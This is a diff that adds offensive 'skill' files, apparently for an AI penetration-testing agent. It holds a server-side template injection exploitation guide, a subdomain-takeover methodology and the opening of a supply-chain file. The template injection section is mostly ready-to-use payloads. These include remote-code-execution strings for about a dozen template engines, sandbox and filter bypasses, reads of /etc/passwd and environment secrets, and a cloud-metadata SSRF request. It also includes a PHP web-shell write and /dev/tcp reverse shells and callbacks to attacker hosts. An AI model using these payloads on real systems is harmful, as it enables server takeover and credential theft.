- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,344 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: ssti
|
|
5
|
+
description: Server-Side Template Injection detection and exploitation across all major template engines
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Server-Side Template Injection (SSTI)
|
|
9
|
+
|
|
10
|
+
SSTI occurs when user input is embedded directly into a server-side template and evaluated. Unlike XSS, SSTI executes on the server, often leading to RCE. Treat every endpoint that reflects input in dynamic pages as a potential SSTI surface.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Template Engines by Language**
|
|
15
|
+
- Python: Jinja2, Mako, Chameleon, Tornado, Django templates
|
|
16
|
+
- JavaScript/Node: Pug (Jade), Handlebars, EJS, Nunjucks, Mustache, Twig.js
|
|
17
|
+
- PHP: Twig, Smarty, Blade (Laravel), Volt (Phalcon), Plates
|
|
18
|
+
- Java: Freemarker, Velocity, Thymeleaf, Pebble, Groovy
|
|
19
|
+
- Ruby: ERB, Slim, Haml, Liquid
|
|
20
|
+
- .NET: Razor, DotLiquid, Scriban
|
|
21
|
+
|
|
22
|
+
**Common Injection Points**
|
|
23
|
+
- Email/notification templates with user-controlled subject or body
|
|
24
|
+
- Report generators and PDF exports with custom fields
|
|
25
|
+
- Marketing/CMS pages with user-supplied HTML/template snippets
|
|
26
|
+
- Error pages that reflect URL path or query parameters
|
|
27
|
+
- Configuration UIs with template previews
|
|
28
|
+
- Chat/comment systems with Markdown + template hybrid rendering
|
|
29
|
+
- REST API responses rendering custom messages
|
|
30
|
+
|
|
31
|
+
## Detection — Engine Fingerprinting
|
|
32
|
+
|
|
33
|
+
Use a polyglot probe first, then narrow by engine response:
|
|
34
|
+
|
|
35
|
+
```
|
|
36
|
+
# Polyglot probe — triggers all major engines
|
|
37
|
+
${{<%[%'"}}%\.
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
| Payload | Expected Output | Engine |
|
|
41
|
+
|---------|----------------|--------|
|
|
42
|
+
| `{{7*7}}` | `49` | Jinja2, Twig, Nunjucks |
|
|
43
|
+
| `${7*7}` | `49` | Freemarker, Velocity, Mako |
|
|
44
|
+
| `<%= 7*7 %>` | `49` | ERB, EJS |
|
|
45
|
+
| `#{7*7}` | `49` | Ruby ERB (alternative) |
|
|
46
|
+
| `{{7*'7'}}` | `49` or `7777777` | Jinja2 (49) vs Twig (7777777) |
|
|
47
|
+
| `{7*7}` | `49` | Smarty |
|
|
48
|
+
| `@(7*7)` | `49` | Razor (.NET) |
|
|
49
|
+
| `*{7*7}` | `49` | Thymeleaf (Spring) |
|
|
50
|
+
|
|
51
|
+
**Distinguishing Jinja2 vs Twig:**
|
|
52
|
+
```
|
|
53
|
+
{{7*'7'}}
|
|
54
|
+
# Jinja2 → 49 (numeric multiplication)
|
|
55
|
+
# Twig → 7777777 (string repetition)
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
**Blind SSTI (no output reflection):**
|
|
59
|
+
```bash
|
|
60
|
+
# Time-based via sleep
|
|
61
|
+
{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}
|
|
62
|
+
# Or via OOB DNS callback
|
|
63
|
+
{{''.__class__.__mro__[2].__subclasses__()[40]('/dev/tcp/attacker.com/80')}}
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
## Engine-Specific Exploitation
|
|
67
|
+
|
|
68
|
+
### Jinja2 (Python)
|
|
69
|
+
|
|
70
|
+
**Read /etc/passwd:**
|
|
71
|
+
```python
|
|
72
|
+
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
|
|
73
|
+
# Or via config globals
|
|
74
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
**RCE via subprocess:**
|
|
78
|
+
```python
|
|
79
|
+
{{''.__class__.__mro__[2].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
80
|
+
# Find correct index: iterate __subclasses__() to find subprocess.Popen
|
|
81
|
+
{% for x in ''.__class__.__mro__[2].__subclasses__() %}
|
|
82
|
+
{% if 'subprocess' in x.__name__ %}{{x('id',shell=True,stdout=-1).communicate()}}{% endif %}
|
|
83
|
+
{% endfor %}
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
**Bypass sandbox / attr filter:**
|
|
87
|
+
```python
|
|
88
|
+
# Using request object (Flask context)
|
|
89
|
+
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
90
|
+
# Using cycler
|
|
91
|
+
{{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
92
|
+
# Using joiner
|
|
93
|
+
{{joiner.__init__.__globals__.os.popen('id').read()}}
|
|
94
|
+
# Using lipsum
|
|
95
|
+
{{lipsum.__globals__['os'].popen('id').read()}}
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
**Filter bypass (underscore/bracket blocked):**
|
|
99
|
+
```python
|
|
100
|
+
# Use |attr filter
|
|
101
|
+
{{()|attr('__class__')|attr('__mro__')|...}}
|
|
102
|
+
# Hex encoding
|
|
103
|
+
{{()|attr('\x5f\x5fclass\x5f\x5f')}}
|
|
104
|
+
# String concatenation
|
|
105
|
+
{{'__cla'+'ss__'}}
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### Twig (PHP)
|
|
109
|
+
|
|
110
|
+
**RCE:**
|
|
111
|
+
```php
|
|
112
|
+
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
|
113
|
+
# Or via system
|
|
114
|
+
{{['id']|filter('system')}}
|
|
115
|
+
# Or passthru
|
|
116
|
+
{{['id']|filter('passthru')}}
|
|
117
|
+
# shell_exec
|
|
118
|
+
{{"id"|shell_exec}}
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
**Read file:**
|
|
122
|
+
```php
|
|
123
|
+
{{"/etc/passwd"|file_get_contents}}
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
**PHP 8 / newer Twig bypass:**
|
|
127
|
+
```php
|
|
128
|
+
{% set cmd %}id{% endset %}
|
|
129
|
+
{% set output = cmd|filter('system') %}
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
### Freemarker (Java)
|
|
133
|
+
|
|
134
|
+
**RCE:**
|
|
135
|
+
```
|
|
136
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
|
|
137
|
+
# Or via ObjectConstructor
|
|
138
|
+
<#assign classLoader=object?api.class.protectionDomain.classLoader>
|
|
139
|
+
<#assign owc=classLoader.loadClass("freemarker.template.utility.ObjectConstructor")>
|
|
140
|
+
<#assign dwf=owc?api.newInstance()>
|
|
141
|
+
${dwf("java.lang.Runtime")?api.exec("id")}
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
**SSRF via Freemarker:**
|
|
145
|
+
```
|
|
146
|
+
<#assign is="java.io.InputStreamReader"?new("https://attacker.com")>
|
|
147
|
+
${is.read()}
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
### Velocity (Java)
|
|
151
|
+
|
|
152
|
+
**RCE:**
|
|
153
|
+
```
|
|
154
|
+
#set($runtime = $class.inspect("java.lang.Runtime").type)
|
|
155
|
+
#set($process = $runtime.exec("id"))
|
|
156
|
+
#set($output = $process.inputStream)
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
### Smarty (PHP)
|
|
160
|
+
|
|
161
|
+
**RCE:**
|
|
162
|
+
```php
|
|
163
|
+
{php}echo `id`;{/php}
|
|
164
|
+
# Newer Smarty (no PHP tags):
|
|
165
|
+
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
### ERB (Ruby)
|
|
169
|
+
|
|
170
|
+
**RCE:**
|
|
171
|
+
```ruby
|
|
172
|
+
<%= `id` %>
|
|
173
|
+
<%= IO.popen('id').read %>
|
|
174
|
+
<%= system('id') %>
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### Thymeleaf (Java/Spring)
|
|
178
|
+
|
|
179
|
+
**Expression injection:**
|
|
180
|
+
```
|
|
181
|
+
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
|
|
182
|
+
# In URL context
|
|
183
|
+
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
**Spring SpEL via Thymeleaf:**
|
|
187
|
+
```
|
|
188
|
+
${T(java.lang.Runtime).getRuntime().exec('id')}
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
### Handlebars (Node.js)
|
|
192
|
+
|
|
193
|
+
**Prototype pollution to RCE:**
|
|
194
|
+
```javascript
|
|
195
|
+
{{#with "s" as |string|}}
|
|
196
|
+
{{#with "e"}}
|
|
197
|
+
{{#with split as |conslist|}}
|
|
198
|
+
{{this.pop}}
|
|
199
|
+
{{this.push (lookup string.sub "constructor")}}
|
|
200
|
+
{{this.pop}}
|
|
201
|
+
{{#with string.split as |codelist|}}
|
|
202
|
+
{{this.pop}}
|
|
203
|
+
{{this.push "return require('child_process').execSync('id').toString();"}}
|
|
204
|
+
{{this.pop}}
|
|
205
|
+
{{#each conslist}}
|
|
206
|
+
{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}
|
|
207
|
+
{{/each}}
|
|
208
|
+
{{/with}}
|
|
209
|
+
{{/with}}
|
|
210
|
+
{{/with}}
|
|
211
|
+
{{/with}}
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### Pug/Jade (Node.js)
|
|
215
|
+
|
|
216
|
+
**RCE:**
|
|
217
|
+
```javascript
|
|
218
|
+
#{function(){localLoad=global.process.mainModule.constructor._resolveFilename('child_process');childProcess=require(localLoad);return childProcess.execSync('id').toString()}()}
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
### EJS (Node.js)
|
|
222
|
+
|
|
223
|
+
**RCE:**
|
|
224
|
+
```javascript
|
|
225
|
+
<% global.process.mainModule.require('child_process').execSync('id') %>
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
## Escalation Paths
|
|
229
|
+
|
|
230
|
+
**SSTI → File Read:**
|
|
231
|
+
```python
|
|
232
|
+
# Python: open() via subclasses
|
|
233
|
+
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
|
|
234
|
+
# PHP Twig
|
|
235
|
+
{{"/etc/passwd"|file_get_contents}}
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
**SSTI → Internal Network Scan (SSRF pivot):**
|
|
239
|
+
```python
|
|
240
|
+
# Python — hit internal endpoints
|
|
241
|
+
{{config.__class__.__init__.__globals__['urllib'].request.urlopen('http://169.254.169.254/latest/meta-data/').read()}}
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
**SSTI → Environment Variables (secrets):**
|
|
245
|
+
```python
|
|
246
|
+
# Jinja2
|
|
247
|
+
{{config}}
|
|
248
|
+
{{config.items()}}
|
|
249
|
+
# Shows SECRET_KEY, DB passwords etc.
|
|
250
|
+
{{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/environ').read()}}
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
**SSTI → Reverse Shell:**
|
|
254
|
+
```bash
|
|
255
|
+
# After confirming RCE via id/whoami
|
|
256
|
+
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
|
|
257
|
+
# URL-encoded in template
|
|
258
|
+
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"').read()}}
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
## Testing Methodology
|
|
262
|
+
|
|
263
|
+
1. **Identify reflection** — find endpoints where input appears in response (especially emails, reports, custom fields)
|
|
264
|
+
2. **Inject polyglot** — use `${{<%[%'"}}%\.` to provoke errors revealing engine
|
|
265
|
+
3. **Confirm SSTI vs XSS** — SSTI evaluates math: `{{7*7}}` → `49`; XSS reflects literally
|
|
266
|
+
4. **Fingerprint engine** — use `{{7*'7'}}` to distinguish Jinja2 (49) vs Twig (7777777)
|
|
267
|
+
5. **Probe for RCE** — try engine-specific OS execution payloads
|
|
268
|
+
6. **Find subclasses index** — iterate `__subclasses__()` to locate subprocess/os classes
|
|
269
|
+
7. **Exfiltrate** — read config, env vars, /etc/passwd, then escalate to shell
|
|
270
|
+
|
|
271
|
+
```bash
|
|
272
|
+
# Quick fingerprint via curl
|
|
273
|
+
curl -s "https://target.com/render?name={{7*7}}"
|
|
274
|
+
# Returns 49 → SSTI confirmed, likely Jinja2/Twig
|
|
275
|
+
|
|
276
|
+
# Identify engine
|
|
277
|
+
curl -s "https://target.com/render?name={{7*'7'}}"
|
|
278
|
+
# 49 → Jinja2, 7777777 → Twig
|
|
279
|
+
|
|
280
|
+
# Confirm RCE (Jinja2)
|
|
281
|
+
curl -s "https://target.com/render?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
## Bypass Techniques
|
|
285
|
+
|
|
286
|
+
**Blocked `_` (underscore):**
|
|
287
|
+
```python
|
|
288
|
+
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
|
|
289
|
+
# Or using |attr() chaining
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
**Blocked `.` (dot):**
|
|
293
|
+
```python
|
|
294
|
+
{{''['__class__']['__mro__'][2]['__subclasses__']()}}
|
|
295
|
+
```
|
|
296
|
+
|
|
297
|
+
**Blocked keywords (`config`, `class`, `import`):**
|
|
298
|
+
```python
|
|
299
|
+
# Split strings
|
|
300
|
+
{{'__cla'+'ss__'}}
|
|
301
|
+
# Hex/unicode
|
|
302
|
+
{{'\x5f\x5fclass\x5f\x5f'}}
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
**Jinja2 sandbox escape:**
|
|
306
|
+
```python
|
|
307
|
+
# Via namespace object
|
|
308
|
+
{% set x = namespace(y=().__class__.__mro__[1].__subclasses__()) %}
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
## Validation
|
|
312
|
+
|
|
313
|
+
1. Execute `id` or `whoami` and show full output in response
|
|
314
|
+
2. Read `/etc/passwd` and extract first line
|
|
315
|
+
3. Make DNS callback to Burp Collaborator/interactsh proving blind execution
|
|
316
|
+
4. Demonstrate environment variable exfiltration (`SECRET_KEY`, `DATABASE_URL`)
|
|
317
|
+
5. Show full RCE reproduction curl command
|
|
318
|
+
|
|
319
|
+
## False Positives
|
|
320
|
+
|
|
321
|
+
- `{{7*7}}` reflected literally — template engine is escaping or not evaluating
|
|
322
|
+
- Math output in rendering context that pre-processes client-side (Angular, Vue template syntax)
|
|
323
|
+
- Calculator/math expression evaluators that happen to use curly braces
|
|
324
|
+
|
|
325
|
+
## Impact
|
|
326
|
+
|
|
327
|
+
- Full RCE on web server as application user
|
|
328
|
+
- Secret/credential extraction (DB passwords, API keys, JWT secret keys)
|
|
329
|
+
- Internal network pivoting via SSRF
|
|
330
|
+
- Container escape if running in Docker without seccomp
|
|
331
|
+
|
|
332
|
+
## Pro Tips
|
|
333
|
+
|
|
334
|
+
1. Always iterate `__subclasses__()` to find correct class index — it changes between Python versions
|
|
335
|
+
2. Try `{{config}}` in Flask/Jinja2 first — often dumps entire Flask config including SECRET_KEY
|
|
336
|
+
3. In Java engines, `T(java.lang.Runtime)` is the universal RCE primitive
|
|
337
|
+
4. For blind SSTI, use DNS callbacks via `curl` or `nslookup` in the executed command
|
|
338
|
+
5. Twig blocks `_self` in newer versions — fall back to filter chains with `passthru`/`system`
|
|
339
|
+
6. EJS and Pug run in Node.js: always try `require('child_process').execSync()`
|
|
340
|
+
7. Check if the template engine is sandboxed — Jinja2 sandbox bypass via `cycler`/`lipsum` globals
|
|
341
|
+
|
|
342
|
+
## Summary
|
|
343
|
+
|
|
344
|
+
SSTI is critical because it executes on the server. Fingerprint the engine first (math probe), then use engine-specific RCE primitives. Always validate with real command execution output. Even "sandboxed" engines have known escapes.
|
|
@@ -0,0 +1,160 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: subdomain-takeover
|
|
5
|
+
description: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Subdomain Takeover
|
|
9
|
+
|
|
10
|
+
Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
|
|
15
|
+
- Orphaned NS delegations (child zones with abandoned/expired nameservers)
|
|
16
|
+
- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
|
|
17
|
+
- CDN "alternate domain" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
|
|
18
|
+
- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
|
|
19
|
+
|
|
20
|
+
## Reconnaissance
|
|
21
|
+
|
|
22
|
+
### Enumeration Pipeline
|
|
23
|
+
|
|
24
|
+
- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs
|
|
25
|
+
- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx
|
|
26
|
+
- Record graph: build a CNAME graph and collapse chains to identify external endpoints
|
|
27
|
+
|
|
28
|
+
### DNS Indicators
|
|
29
|
+
|
|
30
|
+
- CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net`
|
|
31
|
+
- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers
|
|
32
|
+
- MX to third-party mail providers with decommissioned domains
|
|
33
|
+
- TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings
|
|
34
|
+
|
|
35
|
+
### HTTP Fingerprints
|
|
36
|
+
|
|
37
|
+
Service-specific unclaimed messages (examples):
|
|
38
|
+
- **GitHub Pages**: "There isn't a GitHub Pages site here."
|
|
39
|
+
- **Fastly**: "Fastly error: unknown domain"
|
|
40
|
+
- **Heroku**: "No such app" or "There's nothing here, yet."
|
|
41
|
+
- **S3 static site**: "NoSuchBucket" / "The specified bucket does not exist"
|
|
42
|
+
- **CloudFront**: 403/400 with "The request could not be satisfied"
|
|
43
|
+
- **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified
|
|
44
|
+
- **Shopify**: "Sorry, this shop is currently unavailable"
|
|
45
|
+
|
|
46
|
+
TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain
|
|
47
|
+
|
|
48
|
+
## Key Vulnerabilities
|
|
49
|
+
|
|
50
|
+
### Claim Third-Party Resource
|
|
51
|
+
|
|
52
|
+
- Create the resource with the exact required name:
|
|
53
|
+
- Storage/hosting: S3 bucket "sub.example.com" (website endpoint)
|
|
54
|
+
- Pages hosting: create repo/site and add the custom domain
|
|
55
|
+
- Serverless/app hosting: create app/site matching the target hostname
|
|
56
|
+
|
|
57
|
+
### CDN Alternate Domains
|
|
58
|
+
|
|
59
|
+
- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
|
|
60
|
+
- Upload a TLS cert or use managed cert issuance
|
|
61
|
+
|
|
62
|
+
### NS Delegation Takeover
|
|
63
|
+
|
|
64
|
+
- If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS
|
|
65
|
+
- Publish records to control all hosts under the delegated subzone
|
|
66
|
+
|
|
67
|
+
### Mail Surface
|
|
68
|
+
|
|
69
|
+
- If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain
|
|
70
|
+
|
|
71
|
+
## Advanced Techniques
|
|
72
|
+
|
|
73
|
+
### Blind and Cache Channels
|
|
74
|
+
|
|
75
|
+
- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured
|
|
76
|
+
- Cache poisoning: once taken over, exploit cache keys to persist malicious responses
|
|
77
|
+
|
|
78
|
+
### CT and TLS
|
|
79
|
+
|
|
80
|
+
- Use CT logs to detect unexpected certificate issuance for your subdomain
|
|
81
|
+
- For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
|
|
82
|
+
|
|
83
|
+
### OAuth and Trust Chains
|
|
84
|
+
|
|
85
|
+
- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection
|
|
86
|
+
|
|
87
|
+
### Verification Gaps
|
|
88
|
+
|
|
89
|
+
- Look for providers that accept domain binding prior to TXT verification
|
|
90
|
+
- Race windows: re-claim resource names immediately after victim deletion
|
|
91
|
+
|
|
92
|
+
### Wildcards and Fallbacks
|
|
93
|
+
|
|
94
|
+
- Wildcard CNAMEs to providers may expose unbounded subdomains
|
|
95
|
+
- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses
|
|
96
|
+
|
|
97
|
+
## Special Contexts
|
|
98
|
+
|
|
99
|
+
### Storage and Static
|
|
100
|
+
|
|
101
|
+
- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname
|
|
102
|
+
- Website vs API endpoints differ in claimability and fingerprints
|
|
103
|
+
|
|
104
|
+
### Serverless and Hosting
|
|
105
|
+
|
|
106
|
+
- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary
|
|
107
|
+
- Most require TXT now, but historical projects may not
|
|
108
|
+
|
|
109
|
+
### CDN and Edge
|
|
110
|
+
|
|
111
|
+
- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs
|
|
112
|
+
- Some products historically allowed alt-domain claims without proof
|
|
113
|
+
|
|
114
|
+
### DNS Delegations
|
|
115
|
+
|
|
116
|
+
- Child-zone NS delegations outrank parent records
|
|
117
|
+
- Control of delegated NS yields full control of all hosts below that label
|
|
118
|
+
|
|
119
|
+
## Testing Methodology
|
|
120
|
+
|
|
121
|
+
1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory
|
|
122
|
+
2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains
|
|
123
|
+
3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs
|
|
124
|
+
4. **Fingerprint providers** - Map known "unclaimed/missing resource" signatures
|
|
125
|
+
5. **Attempt claim** (with authorization) - Create missing resource with exact required name
|
|
126
|
+
6. **Validate control** - Serve minimal unique payload; confirm over HTTPS
|
|
127
|
+
|
|
128
|
+
## Validation
|
|
129
|
+
|
|
130
|
+
1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details
|
|
131
|
+
2. After claim: serve unique content and verify over HTTPS at the target subdomain
|
|
132
|
+
3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
|
|
133
|
+
4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
|
|
134
|
+
|
|
135
|
+
## False Positives
|
|
136
|
+
|
|
137
|
+
- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
|
|
138
|
+
- Provider-branded default pages for valid, owned resources (not a takeover)
|
|
139
|
+
- Soft 404s from your own infrastructure or catch-all vhosts
|
|
140
|
+
|
|
141
|
+
## Impact
|
|
142
|
+
|
|
143
|
+
- Content injection under trusted subdomain: phishing, malware delivery, brand damage
|
|
144
|
+
- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins
|
|
145
|
+
- OAuth/SSO abuse via whitelisted redirect URIs
|
|
146
|
+
- Email delivery manipulation for subdomain
|
|
147
|
+
|
|
148
|
+
## Pro Tips
|
|
149
|
+
|
|
150
|
+
1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
|
|
151
|
+
2. Maintain a current fingerprint corpus; provider messages change frequently
|
|
152
|
+
3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance
|
|
153
|
+
4. Monitor CT for unexpected certs on your subdomains
|
|
154
|
+
5. Eliminate dangling DNS in decommission workflows first
|
|
155
|
+
6. For NS delegations, treat any expired nameserver domain as critical
|
|
156
|
+
7. Use CAA to limit certificate issuance while you triage
|
|
157
|
+
|
|
158
|
+
## Summary
|
|
159
|
+
|
|
160
|
+
Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.
|
|
@@ -0,0 +1,125 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: supply-chain
|
|
5
|
+
description: Exploitation techniques targeting CI/CD pipelines, package ecosystems, dependency confusion, and build infrastructure.
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Supply Chain Vulnerabilities
|
|
9
|
+
|
|
10
|
+
Supply chain attacks target the software development lifecycle (SDLC), tools, and external dependencies used by an organization rather than attacking the production application directly. A successful supply chain attack can compromise thousands of downstream consumers simultaneously (e.g., SolarWinds, Codecov).
|
|
11
|
+
|
|
12
|
+
